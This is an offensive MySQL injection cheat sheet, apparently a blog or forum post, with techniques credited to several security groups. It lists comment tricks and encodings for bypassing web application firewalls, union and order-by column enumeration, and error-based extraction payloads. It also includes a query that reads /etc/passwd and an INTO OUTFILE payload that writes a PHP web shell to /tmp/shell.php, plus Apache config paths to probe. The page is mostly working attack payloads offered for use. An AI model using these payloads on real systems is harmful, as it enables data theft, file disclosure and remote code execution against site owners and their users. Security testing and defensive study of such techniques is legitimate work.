MySQL Injection Cheet Sheet (Including Load File and Outfile for Error Based) + WAF Bypassing Methods

MySQL Injection Cheat Sheet

Comments:

Comments are very useful and can sometimes even help bypass certain WAF procedures. These comments are the ones that I have picked up over the last few years:

-- (Simple Comment) --+- (String Based Comment) /* (Multiple Line Comment) # (Single Line Comment) /*!*/ (Bypasses certain WAFs) -- a (Bypasses certain WAFs)

Selecting version:

To select the version, many commands can be used. The list of common commands used to find the version using SQL injection are:

SELECT version() SELECT @@version SELECT @@version_comment SELECT @@version_compile_machine SELECT @@version_compile_os

Finding Database Name (Current):

To select the current database name, the command "select database()" can be used:

SELECT database()

 Finding Error Log Dir:

This can especially help when trying to find a write-able path or even to find the full path of the directory.

SELECT @@log_error

 Finding Columns:

In order to find columns, you can follow two simple methods:

a) Using (union+select+1) and increasing the column count each time until a page with different or abnormal characteristics come up. For example:  www.example.tld/news.php?id=-1+union+select+1-- (Error) www.example.tld/news.php?id=-1+union+select+1,2-- (Error) www.example.tld/news.php?id=-1+union+select+1,2,3-- (No Error) This would mean that the column count is 3. b) Using (order by) statements and increasing the count until a message similar to (Unknown column '[column count here]' in 'order clause') is visible. For example: www.example.tld/news.php?id=-1+order+by+1-- (Error or other page) www.example.tld/news.php?id=-1+order+by+2-- (Error or other page) www.example.tld/news.php?id=-1+order+by+3-- (Unknown column '3' in 'order clause') This would mean that the column count is also 3.

Bypass WAF using encryptions and other methods:

These methods can be quite useful in order to bypass certain WAF protocols. By using these, it may allow for data retrieval bypassing WAF put in place.

union select cast(version() as latin1)-- union select convert(version() as binary)-- union select aes_decrypt(aes_encrypt(version(),1),1)-- union select unhex(hex(versions()))--

Other methods of bypassing WAF include (Credits: slack3rsecurity):

/*!union*/ /*select*/ version()-- //MySQL comments. unUNIONion seleSELECTct version()-- //Filter bypass /**/union/**/select/**/version()--  //Whitespace bypass UnION SElecT version()--  //Mixed upper/lower uni/**/on sel/**/ect version()-- //php comments. uni%6Fn select version()-- //URL encoding. %252f%252a*/union%252f%252a /select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users--  //Taking advantage of a WAF that only decodes input once. 0×414141414141414141414141414141414141 union select version()--  //Buffer overflow. union select 0x3a3a3a--  //Encode to bypass magic quotes.

 Extracting Data (Tables and Columns) Using Multiple Methods:

The following methods can be used depending on the server type and version in order to extract data through SQLi. Credit once again goes to #slack3rsecurity and Blackfan.

Rand() and(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)-- or (select count(*)from(select 1 union select 2 union select 3)x group by concat(mid((select version() from information_schema.tables limit 1),1,64),floor(rand(0)*2)))-- and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand(0)*2)) x from (select 1 union select 2)a group by x limit 1) -- or (select count(*) from table group by concat(version(),floor(rand(0)*2)))-- union select password from users where id=1 and row(1,1)>(select count(*),concat( (select users.password) ,0x3a,floor(rand()*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) -- Name_const(Mysql 5.0.12 > 5.0.64) or(1,2)=(select * from(select name_const(version(),1),name_const(version(),1))a)-- Extractvalue & updatexml (MySQL 5.1+) and extractvalue(rand(),concat(0x3a,version()))--  //Xpath error and updatexml(rand(),concat(0x3a,version()))-- //Xpath error Misc. (@:=1)or@ group by concat(@@version,@:=!@)having@||min(0)-- (@:=9)or@ group by left(@@version,@:=~@)having@||min(0)-- UNION SELECT * FROM (SELECT version() FROM information_schema.tables JOIN information_schema.tables b)a--

INTO Outfile and INTO Loadfile (Error Based):

To load etc/passwd using error based injections we can use this query: and+(select+1+from+(select+count(0),concat((select+load_file(‘/etc/passwd’),floor(rand(0)*2))+from+information_schema.tables+group+by+2+limit+1)a) To write a file using error based injections we can simply use this command: or row(1,1) > (select count(*),concat((select (“<?php system($_GET[c]);?>”) into outfile ‘/tmp/shell.php’),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 0,1)

Useful directories and files:

Files to check IF LFI is present or Load File is working:
(To find full path)

/etc/init.d/apache /etc/init.d/apache2 /etc/httpd/httpd.conf /etc/apache/apache.conf /etc/apache/httpd.conf /etc/apache2/apache2.conf /etc/apache2/httpd.conf /usr/local/apache2/conf/httpd.conf /usr/local/apache/conf/httpd.conf /opt/apache/conf/httpd.conf /home/apache/httpd.conf /home/apache/conf/httpd.conf /etc/apache2/sites-available/default /etc/apache2/vhosts.d/default_vhost.include

Credits:

Slack3rSecurity, Hakipedia and Blackfan.

To be continued....

(More to be added to this page in the future)